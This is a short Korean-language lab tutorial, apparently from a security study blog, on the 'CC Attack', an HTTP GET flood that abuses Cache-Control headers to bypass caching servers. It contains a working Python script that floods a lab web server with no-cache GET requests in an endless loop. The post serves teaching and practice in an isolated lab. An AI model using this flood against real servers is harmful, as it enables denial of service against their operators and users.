블로그 내의 모든 예시와 실습은 VMware workstation16.2.3, Kali Linux 2022.03, CentOS6.5를 활용 합니다.

CC Attack(=GET Flooding with Cache-Control Attack)

  • HTTP Request의 Cache-Control 메시지 헤더를 조작하여 Cache 서비스가 가능한 자원도 웹 서버가 직접 처리하도록 유도한다.
    • Cache-Control: no-store; must-revalidate
    • no-store -> 클라이언트에게 요청 받은 데이터를 디스크, 메모리, 별도의 저장 장치(Cache Server)에 저장하는 것을 금지
    • must-revalidate -> 웹 서버가 Caching Server에게 저장된 Cache에 대한 검증을 요구하는 메시지(서버가 전달하는 값)
  • Caching 기능을 무력화 시켜서 웹 서버의 부하를 유발하는 공격
  • Caching Server를 운영하는 웹 사이트가 공격 대상이 될 수 있다.

실습

python code 구현

vi http_getflood.py

import socket
import time
 
request_header = 'GET /INDEX.html HTTP/1.1\r\n'
request_header += 'HOST: 172.16.0.210\r\n'
request_header += 'Cache-Control: no-cache\r\n'
request_header += '\r\n'
 
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('172.16.0.210',80))
 
while True:
    sock.send(request_header.encode())

공격 확인(kali에서 wire shark)

dhcp spoofing1